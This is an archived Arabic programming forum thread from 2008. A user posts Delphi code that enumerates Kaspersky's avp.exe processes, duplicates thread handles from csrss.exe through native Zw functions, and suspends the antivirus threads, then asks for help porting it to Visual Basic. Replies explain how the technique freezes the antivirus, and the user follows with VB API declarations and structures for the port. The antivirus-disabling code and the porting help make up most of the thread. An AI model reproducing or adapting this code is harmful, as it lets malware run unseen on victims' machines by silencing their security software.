الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

[ تمت الإجابة ]تجميد عمل برنامج مضاد الفيروسات الكاسبرسكي

مغلق
بدأه Syntax_err في 15 مارس 2008 · 14 رد · 4,540 مشاهدة · في أرشيف قسم Windows APIs
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

بسم الله والصلاة والسلام على رسول الله .....

إخواني الكرام آسف على الطلب وأرجو أن يكون في محله ....

وجدت كود يقوم بعملية لا أدري محتواها لتجميد عمليتي برنامج الكاسبر ...

فهمت بعض الدوال وبعض الطرق لكن المشكلة .....

أريد تحويل الكود للفيجوال بيسك ....

ولم أتمكن حتى مع البحث بجوجل من إيجاد بعض الدوال والـ Types ...

مثل:

OBJECT_ATTRIBUTES

THREAD_BASIC_INFORMATION

CLIENT_ID

ZwQuerySystemInformation

ZwAllocateVirtualMemory

ZwDuplicateObject

ZwQueryInformationThread

آسف إن كان الموضوع مخالف من ناحية وجود أكثر من طلب أو أي أمر آخر ولكن لم أجد أي طريقة للتحويل من أكواد الـ C إلى الـ فيجول بيسك :S

لا أطيل عليكم وأرجو الرد لو بدالة واحدة :wub: ومشكورين عالجهود :evil:

var
  AVPID: array[0..9] of ULONG;
  last: integer;
  h2: THANDLE;
  ph: THANDLE;
  bytesIO: ULONG;
  buf: PSYSINFOBUF;
  i, c: integer;
  cid1: CLIENT_ID;
  attr: OBJECT_ATTRIBUTES;
  csrss_id: THANDLE;
  tmp1: LBuf;
  pBuffer: PROCESSENTRY32W;
  SnapShotHandle: THANDLE;
  tbi: THREAD_BASIC_INFORMATION;
  exists: boolean;
begin
  RTL.EnableSystemPrivilege('SeDebugPrivilege', true);
  last := 0;
  pBuffer.dwSize := sizeof(PROCESSENTRY32W);
  SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  if (SnapShotHandle <> INVALID_HANDLE_VALUE) then
	if Process32FirstW(SnapShotHandle, @pBuffer) then
	  repeat
		if (pBuffer.szExeFile = 'avp.exe') then
		begin
		  for i := 0 to 9 do
			exists := (AVPID = pBuffer.th32ProcessID);
		  if not exists then
		  begin
			AVPID[last] := pBuffer.th32ProcessID;
			inc(last);
		  end;
		end;
	  until (not Process32NextW(SnapShotHandle, @pBuffer));
  CloseHandle(SnapShotHandle);
  csrss_id := 0;
  pBuffer.dwSize := sizeof(PROCESSENTRY32W);
  SnapShotHandle := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
  if (SnapShotHandle <> INVALID_HANDLE_VALUE) then
	if Process32FirstW(SnapShotHandle, @pBuffer) then
	  repeat
		ExtractFileNameW(pBuffer.szExeFile, tmp1);
		if (strcmpiW(tmp1, 'csrss.exe') = 0) then
		begin
		  csrss_id := pBuffer.th32ProcessID;
		  break;
		end;
	  until (not Process32NextW(SnapShotHandle, @pBuffer));
  CloseHandle(SnapShotHandle);
  if (csrss_id = 0) then exit;

  attr.Length := sizeof(OBJECT_ATTRIBUTES);
  attr.RootDirectory := 0;
  attr.ObjectName := nil;
  attr.Attributes := 0;
  attr.SecurityDescriptor := nil;
  attr.SecurityQualityOfService := nil;

  cid1.UniqueProcess := csrss_id;
  cid1.UniqueThread := 0;
  if (ZwOpenProcess(@ph, PROCESS_ALL_ACCESS, @attr, @cid1) <> STATUS_SUCCESS) then exit;
  bytesIO := 4194304;
  buf := nil;
  ZwAllocateVirtualMemory(GetCurrentProcess(), @buf, 0, @bytesIO, MEM_COMMIT, PAGE_READWRITE);
  ZwQuerySystemInformation(SystemHandleInformation, buf, 4194304, @bytesIO);
  for c := 0 to buf^.uHandleCount - 1 do
	if (buf^.rHandleTable[c].ProcessId = csrss_id) then
	begin
	  if (buf^.rHandleTable[c].ObjectTypeNumber = PsThreadType) then
	  begin
		h2 := 0;
		if (ZwDuplicateObject(ph, buf^.rHandleTable[c].Handle, DWORD(-1), @h2,
		  0, 0, DUPLICATE_SAME_ACCESS) = STATUS_SUCCESS) then
		begin
		  ZwQueryInformationThread(h2, ThreadBasicInformation, @tbi, sizeof(tbi), @bytesIO);
		  for i := 0 to last do
			if (tbi.ClientId.UniqueProcess = AVPID) then ZwSuspendThread(h2, nil);
		end;
	  end;
	end;
  ZwClose(ph);
  bytesIO := 0;
  ZwFreeVirtualMemory(GetCurrentProcess(), @buf, @bytesIO, MEM_RELEASE);
end;
#2

إبحث يا أخي في مكتبة msdn

rasool4k.gif

[وسط]mimetex.cgi?MSN:root@root-shell.net.

[/وسط]

#3
اقتباس
أي طريقة للتحويل من أكواد الـ C إلى الـ فيجول بيسك

الكود فوق ليس C وانما Delphi

ما يقوم به الكود هو التالي:

يبحث عن نسخ avp.exe بين كل Processes التي تعمل

عندما يجدها يحفظ ID كل threads

ثم يبحث عن csrss.exe التابع للنظام ويندوز

وسيتغله لتجميد suspended كل threads

وبالتالي يصبح مضاد فيروسات Kaspersky مثل قرش مجمد او قرش تم خلع انيابه

اي سؤال انا جاهز لكن ليس VB فلا أفقه فيه شيئ

ومعلومة فوق البيعة صاحب هذا الكود فوق المكتوب بدلفي يعمل الان عند مايكروزفت Microsoft

والسلام عليكم ورحمة الله

d4baa0.gif
#4

هل يمكن استخدام دوال Zw_xxx من ال user mode ??

تم تعديل هذه المشاركة بواسطة الاخير زمانه في 16 مارس 2008 في 17:01

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#5

اخي الاخير زمانه، المثال فوق يعمل في UserLand

d4baa0.gif
#6

كنت ظن ان هذه الدوال لا يمكن استخدامها الا من ال kernel بأستخدام الدرايفر

شكرا على المعلومة

/index.php/topic/264448-%D8%A7%D9%84%D8%A8%D8%AF%D8%A7%D9%8A%D8%A9-%D9%85%D8%B9-%D8%A7%D9%84%D8%A7%D9%86%D8%AF%D8%B1%D9%88%D9%8A%D8%AF/

 

اني وان كنت الاخير زمانه ---- لأتِ بما لم تستطعه الاوائلُ

#7

مشكورين إخوتي عالردود وجزاكم الله خير ......

بالنسبة للكود صحيح أنه ليس C لإن بخبرتي البسيطة بالـ C أعرف أن الدالة main هي البداية و ويجب تضمين مكتبات قبل البدء وما إلى ذلك. :wacko:

مشكلتي مع السي هي أن أغلب الـ تايبس والإستركشرز :S بمكتبة الـ msdn لا أستطيع (لا أعرف كيف ) تحويلها لـ فيجول ....

بالأخير ....

هل كل الدوال الموجودة بالكود أستطيع تحويلها لفيجول ؟؟ لا تحولوها ولكن أكدوا لي أنها تتحول وإن شاء الله أتعب عليها :lol:

والكود جبته من rootkit.com

تقبلوا تحياتي ...

#8
اقتباس
يبحث عن نسخ avp.exe بين كل Processes التي تعمل

عندما يجدها يحفظ ID كل threads

ثم يبحث عن csrss.exe التابع للنظام ويندوز

وسيتغله لتجميد suspended كل threads

أخي B.M.AbdelAziZ هلا تكرمت و عرفتنا بمكتبة تحتوي على هذه الدوال من دون اللجوء إلى API .

''‏اللهم إني أسالك إيمانا دائما وأسألك قلبا خاشعا وأسألك علما ‏نافعا وأسألك يقينا صادقا وأسألك دينا قيما وأسألك العافية من كل ‏بلية''

'‏اللهم أغفر للمؤمنين و المؤمنات و المسلمين و المسلمات الأحياء ‏منهم و الأموات'

www.it-scoop.com

#9

مكتبة...لا ادري

جرب هذه

/index.php?showtopic=105246

وربما ايضا مجموعة madshi

http://www.madshi.net/

معلوماتي حول المكتبات شبه معدومة

d4baa0.gif
#10

مشكورين عالمتابعة وأرجو من أي أحد لديه معلومة طرحها لنستفيد منه ... :lol:

سؤالي للإخوة وأرجو إفادتي ....

هل يمكن إستخدام الدوال التالية بدل ما سبق يعني هل يمكن إستبدال zwclose بـ ....

ZwOpenProcess = 
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

ZwAllocateVirtualMemory =
Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long

ZwQuerySystemInformation = 
Private Declare Function NtQuerySystemInformation Lib "ntdll" ( ByVal dwInfoType As Long, ByRef lpStructure As Any, ByVal dwSize As Long, dwReserved As Long) As Long

ZwFreeVirtualMemory = 
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long

ZwClose = 
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

ZwSuspendThread = 
Private Declare Function SuspendThread Lib "kernel32" (ByVal hThread As Long) As Long

وهل هذه هي الـ Types المستخدمة ؟؟

Private Type OBJECT_ATTRIBUTES
	Length As Long
	RootDirectory As Long
	ObjectName As Long
	Attributes As Long
	SecurityDeor As Long
	SecurityQualityOfService As Long
End Type

Private Type PROCESSENTRY32
	dwSize As Long
	cntUsage As Long
	th32ProcessID As Long
	th32DefaultHeapID As Long
	th32ModuleID As Long
	cntThreads As Long
	th32ParentProcessID As Long
	pcPriClassBase As Long
	dwFlags As Long
	szexeFile As String * 260
End Type

Private Type CLIENT_ID
	UniqueProcess   As Long
	UniqueThread	As Long
End Type

Private Type THREAD_BASIC_INFORMATION
	ExitStatus	  As Long
	TebBaseAddress  As Long
	ClientId		As CLIENT_ID
	AffinityMask	As Long
	Priority		As Long
	BasePriority	As Long
End Type

فإذا كانت كذلك فما هي الـ PSYSINFOBUF ؟؟؟؟

أخيراً وآسف عالإطالة .... ما الفرق بين ZwQuerySystemInformation و NtQuerySystemInformation

ومشكورين عالمتابعة وعلى تعديل العنوان ... :D

#12

اتمنى اخى لو تضيف ما فهمته من هذه الاداة

وشكرا

amdvsintel22.jpg

--i use AMD--

لا اله الا الله محمد رسول الله

أستعن بالله و لا تعجز

تابعنى على تويتر

***

#13

يبدوا لي أنهما متطابقين :)

rasool4k.gif

[وسط]mimetex.cgi?MSN:root@root-shell.net.

[/وسط]

#14
croconile كتب:
يبدوا لي أنهما متطابقين :)
الفرق بكل بساطة ان Nt تستدعي Zw

استخدام Zw اوفر

d4baa0.gif
#15

أعذروني عالإنقطاع بالعمل والمتابعة بس حبيت أطرح شي قرأته في منتدى أجنبي ....

أن الدوال الموجودة في الـ ntdll نصفها تبدأ بـ Nt وهي للـ User Mode

والنصف الآخر Zw وهو يعمل عالـ Kernel Mode ...

يعني دالة Nt لازم بالأخير رح تستدعي دالة Zw :S

حاجة زي كذا وإن الفرق رح يكون بنسبة .0000001 بالثانية بين الدالتين وما يوضح الفرق إلا باللوبز الكبيرة : :P

أرجو التصحيح إن كان هناك خطأ وياريت لو في مصادر تتكلم عن دوال الـ ntdll بأشكال مفصلة أكثر ...

أعذروني عالتقصير وتقبلوا مروري :)

هذا الموضوع مغلق.

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…